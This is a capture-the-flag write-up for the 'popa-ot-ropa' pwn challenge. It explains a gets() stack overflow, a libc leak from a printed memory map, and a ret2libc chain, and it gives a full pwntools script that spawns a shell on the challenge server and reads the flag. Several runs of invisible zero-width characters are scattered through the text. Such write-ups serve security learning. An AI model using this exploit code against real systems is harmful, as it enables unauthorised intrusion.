← Back to Writeups
CUSTOMEasypwn

popa-ot-ropa (Mic Check 10)

XESXOR9/2/20263 min read
#pwn#custom#easy#gets_stack_overflow#libc_base_leak_from_maps#movaps_stack_alignment#pop_rax_to_rdi_gadget#ret2libc#linux

popa-ot-ropa (Mic Check 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: gets_stack_overflow, libc_base_leak_from_maps, movaps_stack_alignment, pop_rax_to_rdi_gadget, ret2libc

Summary

Task: NON-PIE x86-64 ELF that dumps /proc/$PPID/maps at startup (leaking libc base) then does an unbounded gets() into a stack buffer. Solution: classic ret2libc — parse libc base from the leaked maps, overflow at offset 0x48, and use the in-binary 'pop rax; mov rdi, rax; ret' gadget plus a leading ret for movaps alignment to call system('/bin/sh').

popa-ot-ropa (Mic Check 10) — pwn_spbctf

Description

В программе не хватает функционала. А добавьте свой в виде RCE!

(English: "The program lacks functionality. Add your own as RCE!")

  • File: popa_ot_ropa.elf, category Pwn ("Mic Check 10")
  • Remote: nc 109.233.56.90 11673, platform pwn.spbctf.ru, author Lex (@b1n4r9)
  • Provided libc: libc-2.31.so (Debian glibc 2.31-3, md5 74f2d3062180572fc8bcd964b587eeae)

Goal: get RCE and read the flag from the remote box.

Analysis

Binary protections: 64-bit x86-64 ELF, NON-PIE (load base 0x400000), NX, no stack canary, Partial RELRO. NON-PIE means all binary gadget addresses are fixed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Three relevant functions:

  • show_memory() @ 0x401152 — runs system("cat /proc/$PPID/maps") at startup. This prints the parent process memory map, which contains the libc-2.31.so mapping. The start address of that mapping is the libc base — a free leak every run (works regardless of ASLR; just parse the dump each connection).
  • main() @ 0x40117d — prints "I have no useful functionality..." then calls gets(buf) where buf is at rbp-0x40. gets is unbounded → classic stack buffer overflow. Offset from buf to the saved return address is 0x40 + 8 = 0x48.
  • g_pop_rax() @ 0x4011b3 — a deliberately provided gadget: pop rax ; mov rdi, rax ; ret. It loads a value from the stack into rax, copies it to rdi, and returns. This is the argument-setup primitive (there is no plain pop rdi; ret). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So we have everything for a textbook ret2libc:

  1. libc base leak (the maps dump),
  2. a controllable gets overflow,
  3. a gadget to control rdi.

Solution

From the provided Debian glibc 2.31-3:

  • system = base + 0x48f20
  • /bin/sh = base + 0x18a156

Payload layout (after 0x48 bytes of padding):

ret (0x401016)        <- 16-byte stack alignment for movaps inside system()
g_pop_rax (0x4011b3)  <- pop rax = binsh ; mov rdi, rax ; ret
&"/bin/sh"            <- popped into rax, then into rdi
system                <- called with rdi = "/bin/sh"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The leading bare ret realigns the stack to a 16-byte boundary so that the movaps instructions inside system()/do_system() do not segfault — the standard alignment fix for glibc ret2libc on x86-64.

Solve script (exp_popa.py)

python
#!/usr/bin/env python3
from pwn import *
context.arch='amd64'; context.log_level='info'
HOST,PORT='109.233.56.90',11673
libc=ELF('popa_libc-2.31.so')   # Debian glibc 2.31-3
POP_RAX=0x4011b3  # pop rax; mov rdi,rax; ret  (in-binary, NON-PIE)
RET=0x401016
io=remote(HOST,PORT)
d=io.recvuntil(b'add your own',timeout=8)
base=None
for line in d.split(b'\n'):
    if b'libc-2.31.so' in line and line.split(b'-')[0].strip():
        base=int(line.split(b'-')[0],16); break
io.recvline()
system=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh\x00'))
log.success("base %#x system %#x binsh %#x"%(base,system,binsh))
# gets(buf rbp-0x40) overflow -> ret offset 0x48
payload=b'A'*0x48 + flat(RET, POP_RAX, binsh, system)
io.sendline(payload)
import time; time.sleep(0.8)
io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id')
time.sleep(1)
print(io.recvrepeat(2).decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After the shell pops (running as uid=6 man), cat /flag* / cat flag* yields the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍